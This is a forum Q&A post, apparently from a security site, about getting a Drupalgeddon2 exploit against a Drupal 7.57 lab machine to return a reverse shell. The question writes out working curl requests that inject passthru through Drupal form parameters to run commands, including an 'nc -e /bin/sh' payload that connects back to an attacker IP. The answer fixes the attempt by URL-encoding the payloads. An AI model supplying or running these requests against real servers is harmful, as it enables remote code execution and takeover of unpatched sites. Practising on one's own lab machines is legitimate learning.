Sending a reverse shell command through the drupalgeddon vulnerability isn't working

Question

I'm trying to use the Drupalgeddon2 exploit (https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708) on drupal 7.57 ubuntu machine.

the requests:

-curl -k -s 'http://192.168.204.141/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=whoami' \ --data "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail new Password" | grep form_build_id .

-curl -k -i "http://192.168.204.141/?q=file/ajax/name/%23value/${form_build_id}" \ --data "form_build_id=${form_build_id}".

execute along with any other command (ls,cd...) and print a result.

but when I send the curl request:

curl -k -s 'http://192.168.204.141/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=nc-e/bin/sh 192.168.204.128 5555'--data "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail new Password" | grep form_build_id .

It doesn't print anything (form_build_id) not even an error, and the target doesn't connect to handler. where do you think is the problem?

I have tried other payloads, and they result in the same things.

Answer 1

I got it to work! There were 2 problems:

1. make sure to urlencode the payloads you send, or pass them into a variable and use the variable in the request.
2. when trying to exploit this kind of vulnerability it is better to test on a ready-to-use test environment such as built-in docker containers in order to avoid problems with OS and application firewalls and rules in addition to networking misconfigurations.

On the other hand, if you're free and just playing with this at home, feel free to test this on virtual machines to gain even more experience and perspective.